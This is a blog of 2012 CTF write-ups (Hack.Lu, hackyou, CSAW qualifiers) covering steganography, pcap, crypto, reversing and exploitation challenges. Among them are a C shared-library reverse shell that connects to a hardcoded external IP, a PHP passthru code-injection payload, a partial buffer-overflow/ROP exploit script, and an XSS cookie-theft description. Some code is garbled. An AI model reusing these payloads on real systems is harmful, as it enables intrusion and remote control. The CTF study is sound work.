Wednesday, October 31, 2012

Hack.Lu CTF: Zombie AV

The objective of this challenge was to upload an ELF file with embedded code that would print out the key located in config.php.

The first step was to look at the source code provided in the zip file. Of particular interest are the scan.php and elfparsing.php.

In elfparsing.php looking at the code below, one can see that the file requirement is a 32bit elf file. (If confused look up ELF fileheaders).
if($magic_0==0x7f &&$magic_1==0x45 && $magic_2==0x4C &&$magic_3==0x46) {
//echo 'magic found\n';
} else {
sec_warning();
return -1;
}

if($magic_4==0x01) { //print '32bit not supported <br>'; return 32; } if($magic_4==0x02) {
//return 64;
die('64bit not supported');
//sec_warning();
}

sec_warning();

In scan.php the following code shows that for the uploaded file to get past the opcode md5 check it must have
b0 01 90 90 90 90 90 90 90 90 cd 80
as the starting 12 bytes of the main program.
$opcodes=getOpcodes($rest);
print "Entry Opcodes are: ".$opcodes; print "\n"; print "Signature is: " . md5($opcodes);
print "\n";

/*
* hint: zombie virus signature is
* 8048340: b0 01                 mov    $0x1,%al * 8048342: 90 nop * 8048343: 90 nop * 8048344: 90 nop * 8048345: 90 nop * 8048346: 90 nop * 8048347: 90 nop * 8048348: 90 nop * 8048349: 90 nop * 804834a: cd 80 int$0x80
*/

/*
*  secret zombie total signature engine is based on md5
*/
if (md5($opcodes) === 'cd53b957ec552afb39cba6daed7a9abc') { print "found zombie virus, trying to execute it\n";  The next step is creating an elf file to upload to the service, and the file you upload must be able to execute normally. This step must be done on a 32bit linux distribution. I made a c file that has a main function with system(“ cat config.php” ) as its only command. Once compiled I opened it up in Ida Pro Free edition. Changing the size of a program will cause it to break because all of the relative references will be thrown off; however, conveniently there are a number of nop statements after call __libc_start_main. I opened the elf file up in a hex editor and copied 12 nop op codes and placed them at the start of the program (before the 31 ED). I then changed those 12 bytes to reflect the zombie virus signature. One more thing must be done to the program before it can be uploaded. The call __libc_start_main no longer refers to the same point in memory because it is a relative reference. Therefore its value must be decreased by the same amount of bytes that were moved. To accomplish this I changed E8 CB FF FF FF to E8 BF FF FF FF to reflect the change in address. Save the file and upload to the server. analysing file 94b0f040323a591c3e3680246b7ce3ec 8048330: b0 01 mov$0x1,%al
8048332: 90                    nop
8048333: 90                    nop
8048334: 90                    nop
8048335: 90                    nop
8048336: 90                    nop
8048337: 90                    nop
8048338: 90                    nop
8048339: 90                    nop
804833a: cd 80                 int    $0x80 804833c: 31 ed xor %ebp,%ebp 804833e: 5e pop %esi 804833f: 89 e1 mov %esp,%ecx 8048341: 83 e4 f0 and$0xfffffff0,%esp
8048344: 50                    push   %eax
8048345: 54                    push   %esp
8048346: 52                    push   %edx
8048347: 68 00 84 04 08        push   $0x8048400 804834c: 68 10 84 04 08 push$
Entry Opcodes are: b0 01 90 90 90 90 90 90 90 90 cd 80
Signature is: cd53b957ec552afb39cba6daed7a9abc
found zombie virus, trying to execute it
<?php

$readelfpath='/usr/bin/readelf';$objdumppath='/usr/bin/objdump';
$uploadpath='upload/';$scriptpath='/var/www/';

Wuut? Hacker detected!

The website returned this at one point, so we can kind of change the algorithm. But what can we change it to? After much manual fuzzing of this algorithm, I determined that the algorithm must begin with "ShA1(dATe(" (camelcase matters), it must have the same length, and it must only contain letters that can be represented in hex with decimal numbers only (0x0a would not work but 0x09 would). This unfortunately eliminates so many useful characters that I spent the next few hours trying to craft an algorithm that would actually work and get me somewhere. At some point, I was eventually able to run the following algorithm.
ShA1(dATe($0))&(@passthru('pwd')%'11111111111111111111111111')  This returned my current working directory! We are getting somewhere! After about another 30 minutes of trying to figure out how to read the file, I ran the following algorithm. ShA1(dATe($0))&(@passthru('cat dir')%'11111111111111111111')

This was a bad way to try get a gz file though (copy and paste is unreliable at best) so I decided to run it through curl and output it to a file.
curl --data "rng_seeds=280527088%0D%0A1067734584%0D%0A2024574801%0D%0A11326050%0D%0A1199766137%0D%0A&rng_algorithm=5368413128644154652824302929262840706173737468727528276361742060646972602729252731313131313131313131313131313131313131312729" http://securerng.misteryou.ru/ > flag.txt.gz

This did present some issues with there being extra data because of the other files in the directory, but it wasn't difficult to find the start and end of files with a little magic header research. I gunzipped the file only to find a ridiculously long base64 encoded string which, of course, was base64 encoded 42 times (I found that number with a variant of the below script). The script below decoded the flag and got the answer "flag: 36e03906042b7b266afa32bd1ea35445".
import base64

for i in range(42):
text = base64.b64decode(text)

print text

So. In summary, I made this much more difficult than I think it was supposed to be, but I think it was a cool solution regardless.

-- suntzu_II

hackyou CTF: Networking 100

They give you a pcap file (Download Here) and tell you to "Find the secret link in this conversation." I opened this in Wireshark and followed what appeared to be some sort or IRC conversation. In tcp.stream 4, I found the following message.

The key was tinyurl.com/8pdox5a, which was also where you were supposed to download the network 300 challenge.
-- suntzu_II

hackyou CTF: Networking 200

This problem was rather trivial. Open the pcap file with Wireshark. Find the packet that says "FTP Data: 1448 bytes." Right-click -> Follow TCP Stream. Click "Save As" and save the file. Run md5sum on the file. The answer is 77f92edb199815b17e2ff8da36e200df.

-- suntzu_II

hackyou CTF: Reversing 300

This challenge was significantly more complicated than the other two reversing challenges. The first thing we needed to do was unpack the executable, but UPX didn't recognize it. UPX didn't recognize it because somebody changed all references in the executable from UPX to LOL. Once I changed this back, I could run upx -d on the program and unpack it.

At this point I started to examine what the program was actually doing. When I ran it, I saw that it wanted a user and a key, so I needed to figure out how to generate a key for a user. So I fired up IDA and got cracking with the disassembly. There are several pieces of information of interest that are readily apparent, namely that the username can't be hackyou and that the key takes the form xxxx-xxxx-xxxx. After further examination, I found the spot where the program is comparing the characters that generate from my username and what I entered, so I put the address (there are actually 3 addresses, one for each part) as a breakpoint in gdb and ran the program. The three breakpoints are 0804842B, 080484EA, and 080485A9. A screenshot of the IDA disassembly is shown below.

When I set the breakpoint at the address in the above picture, all I had to run was 'info registers' in gdb and the expected value was in eax. So I built a key one character at a time until I had the user/key combination of h4ckyou/jzwd-f6x4-s0ao. Unfortunately at this point, it said "Great! Now submit the license key for 'hackyou.' The easiest way to do it is find all of the strings in the binary that are the string hackyou to something like hackyoo (I suggest using bvi which is like vi but for editing hex). After this, we repeat the process with the username hackyou and get the key kecc-hack-yo0u.

-- suntzu_II

hackyou CTF: Reversing 200

This challenge presents you with a random number guesser where the user has to guess a randomly generated number. The good thing about this is that it does not use what we enter to generate the key. The relevant assembly is shown below.

The easy way to do this is to switch the comparison to something simpler.
cmp     eax, ecx
cmp     eax, eax

This changes the hexidecimal from 39 C8 to 39 C0 (Intel x86 opcode). A screenshot of the hex that we are looking to change is shown below.

When the C8 is changed to a C0, the program thinks that we win always and it spits out the key, oh_you_cheat3r.

-- suntzu_II

hackyou CTF: Reversing 100

This reversing problem was pretty trivial. They give you source code and all you have to do is get past the if statements. The code is shown below.
#include
#include

int main(int argc, char *argv[]) {
if (argc != 4) {
printf("what?\n");
exit(1);
}

unsigned int first = atoi(argv[1]);
if (first != 0xcafe) {
printf("you are wrong, sorry.\n");
exit(2);
}

unsigned int second = atoi(argv[2]);
if (second % 5 == 3 || second % 17 != 8) {
printf("ha, you won't get it!\n");
exit(3);
}

if (strcmp("h4cky0u", argv[3])) {
printf("so close, dude!\n");
exit(4);
}

printf("Brr wrrr grr\n");

unsigned int hash = first * 31337 + (second % 17) * 11 + strlen(argv[3]) - 1615810207;

printf("%x\n", hash);
return 0;
}

The winning execution is
./rev100 51966 25 h4cky0u
Brr wrrr grr

-- suntzu_II

hackyou CTF: Steg 300

This challenge was extremely frustrating. The picture is shown below.

I literally spent days staring at this picture zoomed in all close trying to match up fonts and pixels to try to get the key that was half overwritten. I didn't actually solve the problem until they released the following hint.
"Lucy in the Sky with Balls"

The three letters that are bolded are LSB (Least significant bit) at which point I wrote a quick little python script which converted the LSBs of every pixel into binary which I converted to ASCII. The script is shown below.
from PIL import Image

# Open the image in read mode
im = Image.open('stg300.png', 'r')
# individual pixels
# Get the size of the picture
width, height = im.size

binary_ans = ''
for y in xrange(height): # Iterate through each pixel
for x in xrange(width):
# pixels[x, y] returns a tuple with RGB vals
blue_pix = pixels[x, y][2] # Get the blue val
lsb = bin(blue_pix)[-1] # Get the LSB
binary_ans += lsb # Append the LSB

# This just converts the binary to ASCII
for i in xrange(len(binary_ans)/8):


This script returned the following string, which was hidden in the image over and over again.
4E34B38257200616FB75CD869B8C3CF0 *** Congrats
You win!
The
Flag
is
4E34B38257200616FB75CD869B8C3CF0 *** Congrats
You win!
The
Flag
is
4E34B38257200616FB75CD869B8C3CF0 *** Congrats
You win!
The
Flag
is
4E34B38257200616FB75CD869B8C3CF0 *

-- suntzu_II

hackyou CTF: Steg 200

This challenge is a picture of a slightly creepy ghost thing (shown below).

When you adjust the Lightness and Saturation of the picture and turn Constrast all the way up (I used Gimp for this), a secret key appears.

The dots are 7 bit ASCII where the two dots is a 1 and the one dot is a 0. This message translates to aint_afraid_of_no_ghosts.

-- suntzu_II

Tuesday, October 16, 2012

hackyou CTF: Steg 100

A cursory reading of the text file in question revealed scattered capital letters within words. A quick script that grabbed all of the capital letters not at the beginning of words is shown below.
import re
# Read the file into a string
# Create a regex to replace all non-letters with
# a space to allow us to split.
letters = re.compile('[^a-zA-Z]+')
words = letters.sub(' ', text).split(' ')

for word in words: # Iterate through the words
count = -1
for letter in word: # Iterate the letters
count += 1
if count and letter.isupper():
answer += letter # It is part of the flag


This script revealed the string FLAGISSEXYSTEGOPANDAS.

-- suntzu_II

hackyou CTF: PPC 200

In this challenge, the task is to try to get the sha1 hash of a 1,048,576 character, of which we have keylogged all but 8 characters. We also have the final md5 hash of the password. The key here is to perform a sort of md5 hash extension to speed up the brute forcing process (there are a max of 99,999,999 possibilities). Luckily, python's md5 library is very useful for this kind of function! Here is my script which read the keylogger file (I actually grepped out some of the file to simplify the process before I ran the python), and then brute forced the password.
import re,md5,hashlib

dec = re.compile(r'[^\d]+')        # regex to eliminate non-number chars

init = md5.new(password)           # create an md5 object with the first
# 1,048,568 chars
# Loop through the keyspace
for i in range(0,99999999):   # Print the count every 100,000 iterations
if i%100000 == 0:     # because I am impatient
print i
tmp = init.copy()  # Create a copy of the md5 hash to manipulate
tmp.update(str(i).zfill(8)) # Do the hash extension with i
test = tmp.hexdigest()  # Compute the hash

# If the md5 is correct, we win!
if test == '287d3298b652c159e654b61121a858e0':
break

This script finished after about 1 to 2 minutes somewhere around the 68,000,000th try.
-- suntzu_II

hackyou CTF: PPC 300

This challenge was very similar to PPC 100 in that it was supposed to be an anti-human captcha. There was a timed challenge to factor a very large number and send one of the factors to the website. However, the number was also an image, which meant I need to do some OCR. To accomplish this, I used Sage to do the math and pytesser (which uses the Tesseract OCR program) to do the character recognition. I was having trouble getting tesseract to work in wine, so I compiled it from source (which takes FOREVER) and then it was fairly successful! It occasionally turned an 8 into an S and a 0 into an O. But a short time later I had a python script that was running successfully.
import os
from subprocess import *
from pytesser import *
import urllib2, urllib

# A method to ease the calling of commands to the system
def run_cmd(cmd):
p = Popen(cmd, shell=True, stdout=PIPE)
output = p.communicate()[0]
return output

# This gets the html of the captcha
response = urllib2.urlopen('http://misteryou.ru/ppc300/')
# Get the url of the image so I can download it
pic = html.split('img src=\'')[1].split("'")[0]
urllib.urlretrieve('http://misteryou.ru'+pic, "win.png")

print 'Converting image'
# Convert the png to a tif so that pytesser can work
image = Image.open('win.png').convert('RGB').save('win.tif')
# Get a handle for the tif
image = Image.open('win.tif')
# Convert the image to a string
num = image_to_string(image)
# Isolate the number we want from the rest of the image
num = num.split('\n')[0].split(' ')[1]
print num    # Print the original string
# Replace known image conversion issues with the correct number
num = num.replace('O','0').replace('S', '8').replace('-','')
print num    # Print the corrected string

# Do the math by asking sage to factor our problem
result = run_cmd('sage -c "print factor('+num+')"')
print result
# Get a factor to send to the server
result = result.split(' * ')[0]
print result
print 'Making web request'

# Set up the post variables
values = {
}

data = urllib.urlencode(values)
response = urllib2.urlopen(req)

The result from the web server was
Ok, u are robot Secret is: 1101011 1101001 1101100 1101100 1011111  110001 1011111 1101000 1110101 1101101 1100001 1101110

which translates to kill_1_human as 7-bit ASCII.

-- suntzu_II

hackyou CTF: PPC 100

Tasks that fell in the PPC category were supposed to be computationally intensive. PPC 100 was an "Anti-Human Captcha." It was a captcha that asked for two large numbers to be added together and submitted, but it was timed. You had to get it within a certain time limit in order to be considered a 'robot.' So it was time for some python scripting. My winning script is shown below.

import urllib2, urllib

# A unique url here prevents server-side caching with varnish.
# This block grabs a unique equation from the server so that
# we can do the math with as new a result as possible
url = 'http://misteryou.ru/ppc100/?aaaaa'
user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'
header = { 'User-Agent' : user_agent }
response = urllib2.urlopen(req)

# We have the data and we need to get the trueanswer field which
# acts as a cookie. Then we grab the equation and do the math.
equation = data.split('</h2>\n')[1].split('<br>')[0]
equation = equation.replace(' ','').replace('\t','')

# Create the appropriate POST parameters
values = {
}

# Send the answer and get the response
data = urllib.urlencode(values)
response = urllib2.urlopen(req)


This returned the following string.
Ok, u are robot Secret is: 1101011 1101001 1101100 1101100 1100001 1101100 1101100 1101000 1110101 1101101 1100001 1101110 1110011

This is a set of 7-bit ASCII characters which translates to 'killallhumans'.

-- suntzu_II

Monday, October 15, 2012

hackyou CTF: Web 100

Web 100 was a classic javascript password that was just a complicated formula. The entered password was used to generate the key so you had to actually break the password. Here is the relevant part of the script.
var PasswordIsCorrect = false;
var TodaysSecretPassphrase = "Climbing is dangerous";
var QuoteOfTheDay = "the beige hue on the waters of the loch impressed all, including the zapped french queen, before she heard that symphony again, as kind young arthur wanted. keen oxygen vendor.";
do {
break;
}

}
}
}
}
}
}
}
}
}
}
}
}
}
}

}

I solved this by going through the if statements one at a time and constructing my password as I went. All of the if statements result in the PasswordIsCorrect being set to false (except the first one). So let's do it!

xxxxxxxxxxxx
The first char must be a number.
0xxxxxxxxxxx
The 11th and 2nd char must be a number.
00xxxxxxxx0x
The 3rd and 7th char must be a number.
000xxx0xxx0x
All of the numbers must add up to twelve.
422xxx2xxx2x
The 8th char must be the last char of the string PasswordPrompt, which is the letter 'd'.
422xxx2dxx2x
The char at spot 8 must be 1 letter less than the one at 8 (charAt(0)/charAt(0) always equals 1).
422xxx2dex2x
The number at spot 3 must equal the 7th and the 7th must equal the second. No change.

Either the second char or the 11th must be a 0. Since the second, third, and seventh must be the same, I chose the 10th. The first number must be adjusted to keep the sum of the numbers at 12.
622xxx2dex0x
The difference between spot 2 and spot 11 must equal 1. We must then make spots 2, 3, and 7 equal to satisfy an earlier condition. We must then adjust spot 0 so that all the numbers add to 12. There is only one possible solution here so we know we are getting close to the real solution.
911xxx1dex0x
This says that the concatenation of the chars at spots 12, 4, and 5 must equal the substring starting at spot 0 divided by 2. Spot 0 is 9 which is divided by 2 and rounded down to 4 because it is int division. The substring of the passphrase is 'bin' to which we set the chars 12, 4, and 5.
911inx1dex0b
The 10th char must be lowercase. No change.

The 10th char in our string must not be in the quote of the day (see the script above). I chose the letter 'j'.
911inx1dej0b

We now have the password and we enter it only to find out there as an annoying countdown/self-destruct sequence that destroys the key before we can copy and paste it. I used burpsuite to change the script before it got to my browser so that it took longer to time out which gave me sufficient time to copy and paste the key: n0-evidence-0n1y-this-8030.

-- suntzu_II

hackyou CTF: Crypto 200

This challenge was a bit more of a traditional crypto challenge (Download Here) with a big clue coming in the form of the name of the challenge, XOROWbIu WbI(|)P. The big thing I got from this was the reference to XOR, enter xortool.py (xortool). At xortool's site they say that the most common character in ASCII is 0x20 so that is the first thing I tested.
xortool.py cry200.txt.enc -c 20

This printed out a key of '\x96\xa4*\xc3\xc4:' which, when applied to the file gave me something close to an answer.
Cong (tula& ons!r hiler=he q' ck b &wn f=1 jum": ove ithe > ........

I noticed that the only every 5th and 6th byte of this message was unintelligible, so I changed the 5th and 6th chars of the key manually in a python script until the message was correct. The script is below.
key = '\x96\xa4*\xc3\x96\x73'
counter = 0
counter += 1


Answer: Congratulations! While the quick brown fox jumps over the lazy dog, the plain xor cipher is still very unsecure when the key is much shorter than the message. Your flag: Foxie Dogzie Crypto Pwnd

And that's all there is to it!
-- suntzu_II

Sunday, October 14, 2012

hackyou CTF: Crypto 100

This challenge revolves around a picture of a book with some writing in it. The picture is shown below.

There are a ton of distractions in this picture that caused me to go off and try all sorts of strange decryptions. In the end, it's a ridiculously simple answer. Follow the letters down each column from right to left.

<------------------

T | T | H | O | H |
F | E | E | U | A |
F | S | B | I | C |
T | T | E | S | K |
W v C v S v T v Y v


The flag is HACKYOUISTHEBESTESTCTFFTW

-- suntzu_II

Thursday, October 4, 2012

CSAW CTF 2012 Qualifiers - Networking 200

In this challenge, we were given a file, lemieux.pcap, which contained a network capture of web traffic. All we had to do was sort the packets by “info”, search for packets that have “POST”, and one of those packets contains “parties-events”. Open that packet and look in the details and find where it says what the phrase to get into the party is, which is “brooklyn beat box”.

Wednesday, October 3, 2012

CSAW CTF 2012 Qualifiers - Web 500

This challenge was a ton of ajax and whatnot, so after hunting around,  real thing we’re after is that you can externderp in the menu! What is seems to do is use the following POST request when doing a heartbeat check:
{
"message":“extenderp”,
“extenderpurl” : “http://127.0.0.1:8080/test/extenderptest.node”
}

Well, that means that the server is loading something which we have specified. As such, what if we point it to our own file? So I uploaded some executables, hoping they'd execute, to an internet-facing webserver and... ...It says it can’t derp it or something. I can't just send an arbitrary execuatable file. Thus, let's look into what is an extenderptest.node? I downloaded the extenderptest.node file and ran the Linux file command on it:
extenderptest.node: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=0×49ed3236d9e68f7965e90064d05ea2ed2778754b, not stripped

Its a shared 64-bit object file. Shared object files are files which a linker will load into a binary and use. Well, loadable object files are allowed to have initialization functions which are always run first.

Let's recap - using an ajax POST request, the remote server will download a specified shared object file, include it in whatever program they have running, and send back the output of the program.

What do we have now? We have the ability to serve to the server a shared library file of our choice which by design is allowed to have init functions. We have arbitrary code execution!

Of course, what i did next was to make a fake externderptest.node shared object file with an init function which loads a reverse shell. Then, look in the /opt/noderp/htdocs/key and winning!

After viewing other solutions to solving this, I must admit that we simply went the route of a library main in C rather than LSE who made a handler for the test() function in C++.

extenderptestPWN.node.c:
1  #include <arpa inet.h="inet.h"> 2 #include <assert .h=".h">
3  #include <errno .h=".h">
4  #include <netinet in.h="in.h">
5  #include <signal .h=".h">
6  #include <stdlib .h=".h">
7  #include <stdio .h=".h">
8  #include <string .h=".h">
9  #include <sys types.h="types.h">
10 #include <sys socket.h="socket.h">
11 #include <sys wait.h="wait.h">
12 #include <netdb .h=".h">
13 #include <unistd .h=".h">
14 #define MAX 512
16 void shell()
17 {
18    int sockfd;
19    int sockfd2;
22    char GET[] = "GET /directorytocmd.txt/cmd.txt\n";
23    char RECV[MAX];
24    char IP[] = "66.85.131.82";
26    sockfd = socket(PF_INET, SOCK_STREAM, 0);
27
32
34    dup2(sockfd, 0); dup2(sockfd, 1); dup2(sockfd, 2);
35    execl("/bin/bash", "/bin/bash", "-i", NULL);
36    close(sockfd);
37 }
39 {
41    shell();
42 }

Example driver for the pwn library to make sure it was written right:
1 #include <dlfcn.h>
2 #include <stdio.h>
3 int main( int argc, char** argv[] )
4 {
5    void* foo = dlopen( "/home/b1tSt0rm/csaw2012/libbob.so.1.0.1", RTLD_NOW );
6    printf("%p\n", foo);
7    return 0;
8 }


Tuesday, October 2, 2012

CSAW CTF Quals: Networking 100

This was a pcap file of telnet traffic. If you opened up the file in wireshark and viewed the TELNET TCP stream, the password was there to be copied and pasted. 100 points!

CSAW CTF Quals: Forensics 500

This was possibly the easiest 500 points of the competition. Open the file in notepad. Copy and paste the readily apparent key... Smile and grin happily to yourself. Continue with your day.

CSAW CTF Quals: Trivia

Google. Learn how to use it...

Trivia - What is the first step of owning a target?

Trivia - What is the name of the Google's dynamic malware analysis tool for Android applications?

Trivia - What is the x86 opcode for and al, 0x24? Put your answer in the form 0xFFFF.

Trivia - Who was the first security researcher to publish the DEP bypass that utilized WriteProcessMemory()?

Trivia - What is the name of Microsoft's sophisticated distributed fuzzing system that utilizes automated debugging, taint analysis, model building, and constaint solving?

Jordan Wiens (100):

Used Jordan Wiens’ twitter username (psifertex) and found psifertex.com. From here, we found the robots.txt which led us to the /csaw directory. Here, there was a riddle.
Some Understanding Becomes Dominant On Manipulation And Inquisitive Naming
Don't bother brute forcing file paths, you'll never find it that way.

However, Some Understanding Becomes Dominant On Manipulation And Inquisitive Naming clearly spells out SUBDOMAIN with its first letters. This led us to look for key.psifertex.com, which had the key spelled out in ASCII art.

Jeff Jarmoc (100):

We found this one pretty quickly. We downloaded all of the judges pictures and looked at the metadata in them. Jeff Jarmoc's had a finger url in it that when you went to it, spat back a key to you.

Julian Cohen (100):

We checked reddit posts for JulianCohen #HockeyInJune and found http://www.reddit.com/r/MURICA/comments/10a243/murica_free_donuts_and_beverages/.

We then checked all recent posts from this account and the most recent post was a link to http://cockcab.com/ which had the key.

Yoda (400):

Run whoami on yoda inside the IRC. Win!

Dan Guido (400):

This one took the longest. The steps were:
1. Search everything possible
2. Get bored/defeated
3. Browse /r/netsec
4. Casually search "Dan Guido"


CSAW CTF Quals: Reversing 500

This one was a bit more of a headache. We start with an mrom and an mrom.tmp… Let’s start by running the file command:

We see that one of these is a BIOS ROM and the other is an ELF. Our team spent an enormous amount of time trying to reverse the ELF when we really should have just ignored it. It turns out that the elf is really just debugging symbols for what turns our to be an iPXE ROM. Next, let’s run strings to see if we can get more info on the files. We immediately noticed:

This shows that the .mrom is an iPXE rom.
After looking around their site for a while, we noticed a vmware installation guide that should let us play with the rom.
       *For more info, see here

To summarize the article, the site tells us that the 8086100f naming convention is for e1000-type network adapters. Blindly following the guide then leads us to create a blank vm and add the following lines to it:
   ethernet0.virtualDev = “e1000”
ethernet0.opromsize = 262144

Now we can start the vm and press ctrl-b to enter iPXE.

After trying to connect, we get an error that says we don’t have enough room. So, increase the oprom size (see above) to something larger (ex. 26214400) and restart. Now, the ROM is able to successfully connect to https://secure-doomsday-client-loader.c0.cx/boot/vmlinuz. Once it connects, it begins to download a kernel from https://secure-doomsday-client-loader.c0.cx/boot/initrd.gz?include_flag=0 and boots into it. Here, we found a flag.txt file. Yay! But sadly it’s a fake. Catting this flag shows something along the lines of “This is not the initrd you are looking for”... Hilarious aren’t they?

Looking at the download link, we see a very obvious include_flag=0. Most of the URI string was encrypted in the binary, but after some searching we were able to find:

Patch the g=0 to g=1, restart the vm, press ctrl-b, and let it download the flag-included kernel. Cat the flag.txt file in the root directory and win!

Hope you enjoyed the write-up!

-- d1r3w0lf

CSAW CTF Quals: Forensics 200 - 2

After we completed Forensics200 - version 1, what needed to happen for version 2 was obvious. All the CRC’s must be wrong except one (the opposite of version 1). We had already found a tool that alerted on incorrect checksums, so we found a tool that only reported correct CRC's (PngMeta available here). The reported name was the correct key.

-- syreal

CSAW CTF Quals: Forensics 200 - 1

Quite a simple challenge.

When you put the version1 file into a program called tweakPNG, it gave you an error for the wrong checksum at a certain location. That checksum was for the name takeuchi gregory. Given the picture was a picture of words saying “one of these things is not like the other,” I assumed that the wrong checksum is what made that name different, and that that name was the key. It was.

-- syreal

CSAW CTF Quals: Reversing 400

Right from the start, we popped the ELF into a VM and decided to run it. Doing this, we see that it pops out with an encrypted key.

Assuming this is like reversing 100, we decided to pop it into IDA and see if we could spot a Decrypt function.

When you first open the ELF in IDA, it looks something like this:

Scrolling down, we see where it encrypts and kicks out. Directly after, there’s a decryption function that never gets touched…

Looks like another NOP patch to me…

Note: To get this menu to show up in IDA, edit idagui.cfg to include the line:
       DISPLAY_PATCH_SUBMENU = YES

Patch over 4006BE with some nops and commit the changes.

And viola:

-- d1r3w0lf

CSAW CTF Quals: Web 400

This challenge was apparently the organizers' crypto challenge for this year (and thank goodness 'cause last year's were a little too easy). The important thing this year is that it also involved a bit of XSS, but first you had to beat the crypto.




It is a serious pain to do all of this by hand, however, because the web browser encrypts to some weird characters and has trouble trying to display a lot of characters. I solved this by writing a python script which made three seperate request. First it would make a post request to create the message for myself to read. It would then make a request to the inbox page so that it could read which message is new. Finally it would get the results of the message. This greatly sped u8p the process of getting a good message to send. The python script is shown below.
import urllib2, urllib, time

opener = urllib2.build_opener()

url = 'http://128.238.66.214/compose.php'
values = {
'to' : "bobby",
'key' : "Catsareawesome",
'title' : "Ok.jpg, encoded my key with your",
'text' : text
}

data = urllib.urlencode(values)
# req = urllib2.Request(url+data, None, header) # GET works fine
user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'
req = urllib2.Request(url, data, header)  # POST request doesn't not work
response = urllib2.urlopen(req)

print 'Request sent sleeping'
time.sleep(1)
opener = urllib2.build_opener()

url = 'http://128.238.66.214/inbox.php'
f = opener.open(url)

open('last_msg','w').write( f.read().split('')[1].split('')[0].strip('\x0a\x0d') )


Now that we have sent Dog a message that sends us his cookie, we are halfway there. We must now become Dog. We set our PHP session id to the stolen cookie and become Dog. We were very sad to see that the key was not immediately found in the webpage. We did however, see a bunch of messages between Cat and Dog. We had to find the correct keys and decrypt the messages between the two, and one of them had the key.

In summary, lots of encryption and decryption of messages, a bit of XSS and you win! Cool challenge, lots of work.

-- suntzu_II

CSAW CTF Quals: Networking 400

This challenge was so much simpler than we tried to make it. We ended up solving all but this challenge in the first 19 hours of the competition (minus the extra few challenges they put up at the 24 hour point) and we spent the rest of the competition mangling this pcap in every which way. We wrote a script which corrected all of the CRC's in the pcap so that it was readable by wireshark and tshark. We took the data and started messing with all of the voltages and such. But all of this is completely barking up the wrong tree.

It turns out that the pcap given to us is a copy of one on the wireshark website with all of the dates changed (which broke the checksums). The link is provided below.

Wireshark pcap

At this point we started looking at all of the differences between the files. We tried looking at all the hex values, tried xoring things, but none of it worked. Finally, someone on our team noticed that, aside from the final packet from 1970, every single other packet was from one of two dates, the 21st or 22nd of december. If you take every date from the pcap in order and assign a 0 or a 1 based on the date of the packet, then you end up with an ASCII string that is in binary. Just plug it into a translator, truncate the result to 128 characters (because the website told us to) and submit! That is all there is to it....

-- suntzu_II

CSAW CTF Quals: Networking 300

In this challenge all they gave was a pcap file called dongle.pcap that was a network capture of usb traffic. It took us a while to figure out what was happening until we found a packet where the device sending all the traffic identified itself by vendor and device ID. From here we did a simple google search and found that the device was a Teensyduino Keyboard. We downloaded the code that goes along with this device and were able to make a mapping of bytes to keystrokes. The tshark command used was:

tshark -r dongle.pcap -R "usb.transfer_type == 1 && usb.endpoint_number.direction == 1 && usb.device_address == 26" -T fields -e usb.capdata > usbdata


This command put all of the usb traffic data into a file called usbdata. Then we made a python script which parsed the data and converted it into keystrokes.
import binascii

bob = ''
counter = 0
for line in data:
if ':' in line:
counter += 1
l_bytes = line.split(':')
breakout = True
for i in l_bytes:
if not i == '00':
breakout = False
if not breakout:
#print l_bytes
if l_bytes[0] == '02':
print 'SHIFT',
val = int(l_bytes[2],16)
print keys[str(val)],


When we run this program, it outputs the following file. (It has been prettified).

rxterm -geometry 12x1+0+0 ENTER echo K ENTER
rxterm -geometry 12x1+75+0 ENTER echo E ENTER
rxterm -geometry 12x1+150+0 ENTER echo Y ENTER
rxterm -geometry 12x1+225+0 ENTER echo { ENTER
rxterm -geometry 12x1+300+0 ENTER echo C ENTER
rxterm -geometry 12x1+375+0 ENTER echo 4 ENTER
rxterm -geometry 12x1+450+0 ENTER echo 8 ENTER
rxterm -geometry 12x1+525+0 ENTER echo B ENTER
rxterm -geometry 12x1+600+0 ENTER echo A ENTER
rxterm -geometry 12x1+675+0 ENTER echo 9 ENTER
rxterm -geometry 12x1+0+40 ENTER echo 9 ENTER
rxterm -geometry 12x1+75+40 ENTER echo 3 ENTER
rxterm -geometry 12x1+150+40 ENTER echo D ENTER
rxterm -geometry 12x1+225+40 ENTER echo 3 ENTER
rxterm -geometry 12x1+300+40 ENTER echo 5 ENTER
rxterm -geometry 12x1+450+40 ENTER echo C ENTER
rxterm -geometry 12x1+375+40 ENTER echo 3 ENTER
rxterm -geometry 12x1+525+40 ENTER echo A ENTER
rxterm -geometry 12x1+600+40 ENTER echo } ENTER


We got stuck here for a while because this key did not work. Eventually, we got a fresh pair of eyes that noticed the 'C' and the '3' needed to be switch because of where the window appears with the geometry offsets of the xterm commands. The final key was: key{c48ba993d353ca}.

-- suntzu_II

CSAW CTF Quals: Exploitation 500

This challenge was basically a trivia game where it asked you a question and you could get it right or wrong. If you got it wrong it would ask you the question again and you could overflow a buffer on the second send. For the life of me, I cannot figure out a good reason for them to be copy the number of bytes received from a large buffer into a smaller buffer, but they do it. So when they copy everything in the second question, we can just overwrite the return address of this method. The relevant code is shown below.
char buf[76];
char last_buf[0x28];
char huge_buf[0x400];

num_recvd = 0;
num_recvd = recv(fd, &buf, 0×7Cu, 0);
v6 = v(&buf);
if ( v6 == 1 )
{
win(fd);
close(fd);
exit(0);
}
lose(fd);
sques(fd, 2);
num_recvd = recv(fd, huge_buf, 0×400u, 0);

// This is the important line
memcpy(&last_buf, huge_buf, 4 * ((unsigned int)num_recvd >> 2));

v6 = v(&last_buf);
if ( v6 == 1 )
{
win(fd);
close(fd);
exit(1);
}
return lose(fd);


After that it was a simple ROP-style attack where we called recv to a RWX section of memory located at 0x0804B000. Send in some shellcode and win! Our winning python script, win.py, is shown below.
import socket, binascii, time

def recv(s):
print s.recv(1024)

def endian(s):
if len(s) < 8:
s = s.zfill(8)
return s[6:8]+s[4:6]+s[2:4]+s[0:2]

def int2hex(integer):
if integer < 0:
integer = 0xFFFFFFFF+integer+1
return hex(integer)[2:].zfill(8).strip('L')

s = socket.socket()
#s.connect(('10.19.0.29', 12345))
s.connect(('128.238.66.213', 12345))

recv(s)
s.send('A'*0x7B+'\n')
recv(s)

win = 'a'*60
win += binascii.unhexlify(endian('08048760')) # Address of recv
win += binascii.unhexlify(endian('0804B000')) # Return address from recv
